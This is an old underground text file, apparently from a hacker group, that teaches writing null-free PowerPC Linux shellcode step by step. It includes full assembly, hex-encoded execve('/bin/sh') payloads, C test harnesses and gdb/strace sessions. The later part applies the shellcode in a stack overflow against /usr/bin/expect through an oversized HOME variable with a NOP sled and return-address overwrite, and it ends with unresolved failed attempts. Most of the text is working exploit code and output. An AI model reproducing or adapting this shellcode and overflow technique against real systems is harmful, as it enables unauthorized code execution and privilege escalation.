STATION ID - 7047/3.12 9x Datakit Network FOR OFFICIAL USE ONLY This is a 9x system, restricted to authorized persons and for official 9x business only. Anyone using this system, network or data is subject to being monitored at any time for system administration and for identifying unauthorized users or system misuse. Anyone using this system expressly consents to such monitoring and is advised that any evidence of criminal activity revealed through such monitoring may be provided to law enforcement for prosecution. Filename: 9x_shellcode_howto.txt Date released: 12-23-01 Author: ./ this txt assumes basic understanding --------------------------------------------------------------------- to begin we make a framework from a simple syscall... /usr/include/asm/unistd.h has the list of syscalls... we will be using exit() #define __NR_exit 1 says that the syscall number for exit is 1 [root@ibook overflow]# cat > syscall.c main() { exit(0); } [root@ibook overflow]# cc -static -ggdb -o syscall syscall.c [root@ibook overflow]# gdb -q ./syscall (gdb) disas _exit Dump of assembler code for function _exit: 0x10005930 <_exit>: li r0,1 0x10005934 <_exit+4>: sc the above lets us know the skeleton for a syscall in asm ... Load Immediate or li places the number 1 in %r0 and sc is the syscall heres what an strace of our binary running looks like [root@ibook overflow]# strace ./syscall execve("./syscall", ["./syscall"], [/* 45 vars */]) = 0 uname({sys="Linux", node="ibook.insight.rr.com", ...}) = 0 geteuid() = 0 getuid() = 0 getegid() = 0 getgid() = 0 brk(0) = 0x10069ed8 brk(0x10069ef8) = 0x10069ef8 brk(0x1006a000) = 0x1006a000 brk(0x1006b000) = 0x1006b000 getpid() = 1564 exit(0) = ? note the last syscall is exit there are perhaps more interesting syscalls...like #define __NR_setuid 23 #define __NR_setgid 46 #define __NR_setreuid 70 #define __NR_setregid 71 #define __NR_execve 11 #define __NR_chmod 15 to use a different syscall all we would need our program to do would be place the syscall number in %r0. Lets get the assembly in a .s file and we will play with that. using the above dump of _exit we get our asm frame started. [root@ibook overflow]# cat > syscall.s .globl main .text main: li %r0,1 sc [root@ibook overflow]# cc -o syscall syscall.s [root@ibook overflow]# strace ./syscall execve("./syscall", ["./syscall"], [/* 45 vars */]) = 0 ... exit(1) = ? lets proove that if we change the number in %r0 we make a diff syscall. .globl main .text main: li %r0,11 sc [root@ibook overflow]# cc -o syscall syscall.s [root@ibook overflow]# strace ./syscall execve("./syscall", ["./syscall"], [/* 45 vars */]) = 0 execve(umovestr: Input/output error 0x1, ["./syscall"], [/* 45 vars */]) = -1 EFAULT (Bad address) exit(14) as you can see here we called execve... or syscall number 11 we use the od2c.pl to convert this to shellcode [root@ibook overflow]# objdump -d ./syscall | perl od2c.pl -g main char main[] = /* 10000454
: */ "\x38\x00\x00\x0b" /* 10000454: li r0,11 */ "\x44\x00\x00\x02"; /* 10000458: sc [root@ibook overflow]# cat > syscall-shellcode.c char shellcode[] = /* 10000454
: */ "\x38\x00\x00\x0b" /* 10000454: li r0,11 */ "\x44\x00\x00\x02"; /* 10000458: sc */ void main() { __asm__("b shellcode"); } [root@ibook overflow]# cc -ggdb -static -o syscall-shellcode syscall-shellcode.c syscall-shellcode.c: In function `main': syscall-shellcode.c:6: warning: return type of `main' is not `int' [root@ibook overflow]# strace ./syscall-shellcode execve("./syscall-shellcode", ["./syscall-shellcode"], [/* 45 vars */]) = 0 uname({sys="Linux", node="ibook.insight.rr.com", ...}) = 0 geteuid() = 0 getuid() = 0 getegid() = 0 getgid() = 0 brk(0) = 0x10069ec0 brk(0x10069ee0) = 0x10069ee0 brk(0x1006a000) = 0x1006a000 brk(0x1006b000) = 0x1006b000 getpid() = 1155 execve(umovestr: Input/output error 0x1, ["./syscall-shellcode"], [/* 45 vars */]) = -1 EFAULT (Bad address) --- SIGILL (Illegal instruction) --- +++ killed by SIGILL +++ As you can see it trys to call execve ... we are missing a few things but you get the point on how going from asm to shellcode works... We need a few more things on the stack for a good execve... [root@ibook overflow]# cat > execve-orig.s .globl main .text .globl shell main: # find the address of our code... # first do a meaningless xor to set not equal xor %r5, %r5, %r5 # if not equal flag i set branch to main bnel main # copy our code address to the %r31 mflr %r31 # use addi to find the offset of your string in memory # remember address of main is in %r31 so main+32 is what we try # first... addi %r3,%r31,32 # hack from gdb output # put address in r3 # find "/bin/sh in memory # once we have the address store that word on the stack stw %r3, -8(%r1) # shell "/bin/sh" # put null in %r5 li %r5,0 # put execve call in %r0 from unistd.h li %r0,11 sc shell: .ascii "/bin/sh" [root@ibook overflow]# cc -ggdb -static -o execve-orig execve-orig.s [root@ibook overflow]# strace ./execve-orig execve("./execve-orig", ["./execve-orig"], [/* 45 vars */]) = 0 uname({sys="Linux", node="ibook.insight.rr.com", ...}) = 0 geteuid() = 0 getuid() = 0 getegid() = 0 getgid() = 0 brk(0) = 0x10069e88 brk(0x10069ea8) = 0x10069ea8 brk(0x1006a000) = 0x1006a000 brk(0x1006b000) = 0x1006b000 getpid() = 1220 execve("”!ÿЦ“!", ["./execve-orig"]ptrace: umoven: Input/output error , [/* 0 vars */]) = -1 ENOENT (No such file or directory) --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++ As we can see the first argument to the execve is "”!ÿЦ“!" it apears something is wrong with out addi instruction... lets look in gdb [root@ibook overflow]# gdb ./execve-orig (gdb) disas main+32 Dump of assembler code for function shell: 0x100002a0 : cmpdi cr6,r2,26990 0x100002a4 : cmpdi cr6,r19,26624 End of assembler dump. (gdb) x/10s main+32 0x100002a0 : "/bin/sh" 0x100002a8 <__libc_start_main>: "\224!ÿÐ|\b\002¦\223!" "”!ÿЦ“!" is the same as "\224!ÿÐ|\b\002¦\223!" and it seems to be 2 bytes or so after "/bin/sh" so lets try subtracting 2 from our addi offset. addi %r3,%r31,30 [root@ibook overflow]# cc -ggdb -static -o execve-orig execve-orig.s [root@ibook overflow]# strace ./execve-orig execve("./execve-orig", ["./execve-orig"], [/* 45 vars */]) = 0 uname({sys="Linux", node="ibook.insight.rr.com", ...}) = 0 geteuid() = 0 getuid() = 0 getegid() = 0 getgid() = 0 brk(0) = 0x10069e88 brk(0x10069ea8) = 0x10069ea8 brk(0x1006a000) = 0x1006a000 brk(0x1006b000) = 0x1006b000 getpid() = 1233 execve("h", ["./execve-orig"]ptrace: umoven: Input/output error , [/* 0 vars */]) = -1 ENOENT (No such file or directory) --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++ we are closer... now w are trying to execve("h",.. we are 6 chars off so lets subtract 6 from our above 30 addi %r3,%r31,24 [root@ibook overflow]# cc -ggdb -static -o execve-orig execve-orig.s [root@ibook overflow]# strace ./execve-orig Read 2133 lines ]execve("./execve-orig", ["./execve-orig"], [/* 45 vars */]) = 0 uname({sys="Linux", node="ibook.insight.rr.com", ...}) = 0 geteuid() = 0 getuid() = 0 getegid() = 0 getgid() = 0 brk(0) = 0x10069e88 brk(0x10069ea8) = 0x10069ea8 brk(0x1006a000) = 0x1006a000 brk(0x1006b000) = 0x1006b000 getpid() = 1306 execve("/bin/sh", ["./execve-orig"], [/* 0 vars */]) = 0 This one however ignores our command line argument... [root@ibook overflow]# ./execve -c id sh-2.05# lets make this into shellcode... [root@ibook overflow]# objdump -d ./execve-orig | perl od2c.pl main shell "\x40\x82\xff\xfd" /* 10000284: bnel 10000280
*/ "\x7f\xe8\x02\xa6" /* 10000288: mflr r31 */ "\x38\x7f\x00\x18" /* 1000028c: addi r3,r31,24 */ "\x90\x61\xff\xf8" /* 10000290: stw r3,-8(r1) */ "\x38\xa0\x00\x00" /* 10000294: li r5,0 */ "\x38\x00\x00\x0b" /* 10000298: li r0,11 */ "\x44\x00\x00\x02"; /* 1000029c: sc */ char shellcode[] = "\x2f\x62\x69\x6e" /* 100002a0: cmpdi cr6,r2,26990*/ "\x2f\x73\x68\x00"; /* 100002a4: cmpdi cr6,r19,26624 */ for some reason it always leaves our xor r5 r5 r5 off so lets make sure we get it... [root@ibook overflow]# cat > xor.s .globl main .text main: xor %r5,%r5,%r5 [root@ibook overflow]# cc -o xor -static -ggdb xor.s [root@ibook overflow]# objdump -d ./xor | perl od2c.pl main "\x7c\xa5\x2a\x78"; /* 10000280: xor r5,r5,r5 */ we will place this before the "\x40\x82\xff\xfd" above [root@ibook overflow]# cat > execve-shellcode-orig.c char shellcode[] = "\x7c\xa5\x2a\x78" /* 10000280: xor r5,r5,r5 */ "\x40\x82\xff\xfd" /* 10000284: bnel 10000280
*/ "\x7f\xe8\x02\xa6" /* 10000288: mflr r31 */ "\x38\x7f\x00\x18" /* 1000028c: addi r3,r31,24 */ "\x90\x61\xff\xf8" /* 10000290: stw r3,-8(r1) */ "\x38\xa0\x00\x00" /* 10000294: li r5,0 */ "\x38\x00\x00\x0b" /* 10000298: li r0,11 */ "\x44\x00\x00\x02" /* 1000029c: sc */ "\x2f\x62\x69\x6e" /* 100002a0: cmpdi cr6,r2,26990 */ "\x2f\x73\x68\x00"; /* 100002a4: cmpdi cr6,r19,26624 */ void main() { __asm__("b shellcode"); } As you can see this execve will allow us to pass command line arguments... the old one would not... [root@ibook overflow]# cc -o execve-shellcode-orig execve-shellcode-orig.c -static -ggdb [root@ibook overflow]# ./execve-shellcode-orig -c id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) Our only problem now is all the nulls... the opcodes that contain the nulls are sc and li we will need to come up with an alternative... the nulls in "\x44\x00\x00\x02" or sc can be replaced with almost anything ... the 0x00's in this instruction are "reserved" bits so the processor ignores whats in them. We should use 0xff or 0x69 "\x44\xff\xff\x02" or "\x44\x69\x69\x02" will work for sc in the shellcode... now to fix the li opcodes we use a bit of trickery... "\x38\x7f\x00\x18" or addi r3,r31,24 has a null in it as you can see. One trick for removing null is to add a positive number to your offset for the location of "/bin/sh" in memory. So our instruction addi r3,r31,24 becomes addi r31,r31,268+24 and then addi %r3,%31, -268. This takes the string "/bin/sh" located at main+24 and places is in %r31 after adding the constant 268 to it. Remember that %r31 contains the location of main from the instructions xor %r5, %r5, %r5 bnel main mflr %r31. Next to make the number 292 or 268+24 equal to 24 again we subtract 268 addi %r3,%r31, -268 and then store in %r3 to make "/bin/sh" the first argument to execve. The next instruction with null is "\x38\xa0\x00\x00" or li r5,0 We basically just need to find a spot on the stack with null already on it... %r1 minus 4 is the location of %r0 ... the value of %r0 is 0 or null...Then we store that number at %r5 to make the 3rd argument to execve with stw %r5, -4(%r1) The next command stores the address of ["/bin/sh", 0] which is an array and the 2nd argument to our execve at register %r4. This allows us to pass command line args to the shell. subi %r4, %r1, 8 The final trick is to get to number 11 on to the stack with out a null... before we used "\x38\x00\x00\x0b" or li %r0,11. The trick we use is called a Right Shift. In binary 11 is 1101. A right shift will remove the bits from the right side of the number. So we need a number that begins with 1011 and has 9 more places with whatever bits on or off... The number 5633 in binary is 1011000000001. If we do 5633 >> 9 or Right Shift 9 places on the number 5633 we get the number 11. 1011000000001 >> 9 = 1011 li %r30, 5633 places 5633 at %r30 srawi %r0, %r30, 9 does the Right Shift 9 places on %r30 and stores it at %r0 as the number for our syscall... in this case 11 or execve() next we compile and run through od2c.pl .globl main .text .globl shell main: xor %r5, %r5, %r5 bnel main mflr %r31 # use addi to find the offset of your string in memory addi %r31,%r31, 268+36 # hack from gdb output addi %r3,%r31, -268 # 268 helps remove nulls # but we don't neet it # put address in r3 # if you cant find "/bin/sh in memory # adjust the number added to 268 stw %r3, -8(%r1) # shell "/bin/sh" stw %r5, -4(%r1) subi %r4, %r1, 8 li %r30, 5633 srawi %r0, %r30, 9 # r0 = 11 sc shell: .ascii "/bin/sh" [root@ibook overflow]# cc -ggdb -static -o execve execve.s [root@ibook overflow]# ./execve sh-2.05# [root@ibook overflow]# objdump -d ./execve | perl od2c.pl main shell dont forget your xor shit...and dont forget to \x69 or \xff the nulls in sc "\x40\x82\xff\xfd" /* 10000284: bnel 10000280
*/ "\x7f\xe8\x02\xa6" /* 10000288: mflr r31 */ "\x3b\xff\x01\x30" /* 1000028c: addi r31,r31,304 */ "\x38\x7f\xfe\xf4" /* 10000290: addi r3,r31,-268 */ "\x90\x61\xff\xf8" /* 10000294: stw r3,-8(r1) */ "\x90\xa1\xff\xfc" /* 10000298: stw r5,-4(r1) */ "\x38\x81\xff\xf8" /* 1000029c: addi r4,r1,-8 */ "\x3b\xc0\x16\x01" /* 100002a0: li r30,5633 */ "\x7f\xc0\x4e\x70" /* 100002a4: srawi r0,r30,9 */ "\x44\xff\xff\x02"; /* 100002a8: sc */ "\x2f\x62\x69\x6e" /* 100002ac: cmpdi cr6,r2,26990 */ "\x2f\x73\x68\x00"; /* 100002b0: cmpdi cr6,r19,26624 */ Note that now we are nullfree... [root@ibook overflow]# cat > execve-nullfree.c char shellcode[] = "\x7c\xa5\x2a\x78" /* 10000280: xor r5,r5,r5 */ "\x40\x82\xff\xfd" /* 10000284: bnel 10000280
*/ "\x7f\xe8\x02\xa6" /* 10000288: mflr r31 */ "\x3b\xff\x01\x30" /* 1000028c: addi r31,r31,304 */ "\x38\x7f\xfe\xf4" /* 10000290: addi r3,r31,-268 */ "\x90\x61\xff\xf8" /* 10000294: stw r3,-8(r1) */ "\x90\xa1\xff\xfc" /* 10000298: stw r5,-4(r1) */ "\x38\x81\xff\xf8" /* 1000029c: addi r4,r1,-8 */ "\x3b\xc0\x16\x01" /* 100002a0: li r30,5633 */ "\x7f\xc0\x4e\x70" /* 100002a4: srawi r0,r30,9 */ // "\x44\x00\x00\x02"; /* 100002a8: sc */ "\x44\xff\xff\x02"; /* 100002a8: sc */ "\x2f\x62\x69\x6e" /* 100002ac: cmpdi cr6,r2,26990 */ "\x2f\x73\x68\x00"; /* 100002b0: cmpdi cr6,r19,26624 */ void main() { __asm__("b shellcode"); } [root@ibook overflow]# cc -o execve-nullfree execve-nullfree.c execve-nullfree.c: In function `main': execve-nullfree.c:18: warning: return type of `main' is not `int' [root@ibook overflow]# ./execve-nullfree sh-2.05# Lets use this shellcode in a real world exploit... edit the line void main() { __asm__("b shellcode"); } to say void main() { printf("%s\n", shellcode); } then recompile 240 = len to eip on the binary /usr/bin/expect [root@ibook root]# HOME=`perl -e 'print "A" x 239'`;export HOME;strace -iv expect [0fde16e0] open("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/.expect.rc", O_RDONLY) = -1 ENOENT (No such file or dire ctory)[4141412c] --- SIGSEGV (Segmentation fault) --- Lets get some nops on the stack. [root@ibook overflow]# HOME=`perl -e 'print "\x60\x69\x69\x69" x 59'``echo -e "\x41\x41\x41\x41"`;export HOME;strace -iv expect [0fde16e0] open("`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iiiAAAA/.expect.rc", O_RDONLY) = -1 ENOENT (No such file or directory) [41414140] --- SIGSEGV (Segmentation fault) --- Lets add our shellcode and one Z for alignment. [root@ibook overflow]# HOME=`perl -e 'print "\x60\x69\x69\x69" x 46'``./execve-nullfree`Z`echo -e "\x41\x41\x41\x41"` [root@ibook overflow]# gdb /usr/bin/expect -q (no debugging symbols found)...(gdb) (gdb) run Starting program: /usr/bin/expect Program received signal SIGSEGV, Segmentation fault. 0x41414140 in ?? () Lets check out the top of the stack (gdb) x/1s $r1 0x7ffff6e0: "/shZAAAA/.expect.rc" Well we need the address of our nops... (gdb) x/5s $r1-235 0x7ffff5f5: "öª8`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii|¥*x@\202ÿý\177è\002¦;"... 0x7ffff6bd: "ÿ\00108\177þô\220aÿø\220¡ÿü8\201ÿø;À\026\001\177ÀNpDÿÿ\002/bin/shZAAAA/.expect.rc" 0x7ffff6f4: "0" 0x7ffff6f6: "ÙL\210\202$@\020" 0x7ffff6fe: "\n\b\020\001\023\210" Here is the exact spot our nops start. (gdb) x/1s $r1-232 0x7ffff5f8: "`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii|¥*x@\202ÿý\177è\002¦;ÿ\0010"... Now we use 0x7ffff5f8 instead of \x41\x41\x41\x41 because thats where the shellcode lies. [root@ibook overflow]# HOME=`perl -e 'print "\x60\x69\x69\x69" x 46'``./execve-nullfree`Z`echo -e "\x7f\xff\xf5\xf8"`;export HOME;strace -iv expect ... [0fde16e0] open("`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii`iii|¥*x@‚ÿýè¦;ÿ08þô�aÿø�¡ÿü8�ÿø;ÀÀNpDÿÿ/bin/shZÿõø/.expect.rc", O_RDONLY) = -1 ENOENT (No such file or directory) [7ffff6cc] execve("", [""], [ptrace: umoven: Input/output error 0]) = -1 ENOENT (No such file or directory) [7ffff6cc] --- SIGILL (Illegal instruction) --- upeek: ptrace(PTRACE_PEEKUSER, ... ): No such process [????????] +++ killed by SIGILL +++ as you can see we actually call execve now... however our code seems to be a bit broken now... [7ffff6cc] execve("", [""], [0]) I believe the problem lies in the addi %r31,%r31,268+36 and addi %r3,%r31, -268 "\x3b\xff\x01\x30" and "\x38\x7f\xfe\xf4" we can use a simple patch method on the shellcode... lets try a couple possible combinations for the current value of +36 [root@ibook overflow]# cat > addi.s .globl main .text main: addi %r31,%r31,268+36 addi %r3,%r31,-268 addi %r31,%r31,268+34 addi %r3,%r31,-268 addi %r31,%r31,268+32 addi %r3,%r31,-268 addi %r31,%r31,268+30 addi %r3,%r31,-268 addi %r31,%r31,268+28 addi %r3,%r31,-268 addi %r31,%r31,268+26 addi %r3,%r31,-268 Heres a list of possible replacements in the existing shellcode... [root@ibook overflow]# objdump -d ./addi | perl od2c.pl main char main[] = /* 10000454
: */ "\x3b\xff\x01\x30" /* 10000454: addi r31,r31,304 */ "\x38\x7f\xfe\xf4" /* 10000458: addi r3,r31,-268 */ "\x3b\xff\x01\x2e" /* 1000045c: addi r31,r31,302 */ "\x38\x7f\xfe\xf4" /* 10000460: addi r3,r31,-268 */ "\x3b\xff\x01\x2c" /* 10000464: addi r31,r31,300 */ "\x38\x7f\xfe\xf4" /* 10000468: addi r3,r31,-268 */ "\x3b\xff\x01\x2a" /* 1000046c: addi r31,r31,298 */ "\x38\x7f\xfe\xf4" /* 10000470: addi r3,r31,-268 */ "\x3b\xff\x01\x28" /* 10000474: addi r31,r31,296 */ "\x38\x7f\xfe\xf4" /* 10000478: addi r3,r31,-268 */ "\x3b\xff\x01\x26" /* 1000047c: addi r31,r31,294 */ "\x38\x7f\xfe\xf4"; /* 10000480: addi r3,r31,-268 */ By swapping out the existing addi instructions with addi r31,r31,298 and addi r3,r31,-268 we are able to see different results [7ffff6cc] execve("NpÿöÆ", ["Np\177\377\366\306"], [ptrace: umoven: Input/output error 0]) = -1 ENOENT (No such file or directory) [7ffff6cc] --- SIGILL (Illegal instruction) --- This apears to be the wrong way so lets try "\x3b\xff\x01\x3d" almost [7ffff6cc] execve(".expect.rc", [".expect.rc"], [ptrace: umoven: Input/output error lets try "\x3b\xff\x01\x34" [7ffff6cc] execve("/shZÿõø/.expect.rc", ["/shZ\177\377\365\370/.expect.rc"], lets try "\x3b\xff\x01\x33" [7ffff6cc] execve("", [""], [ptrace: umoven: Input/output error now we miss ?? How come. Can we tweak the second addi? I really don't know why we miss the arguments on the stack ... "\x3b\xff\x01\x32" "\x38\x7f\xfe\xf6" also gives... [7ffff6cc] execve("/shZÿõø/.expect.rc", ["/shZ\177\377\365\370/.expect.rc"], eof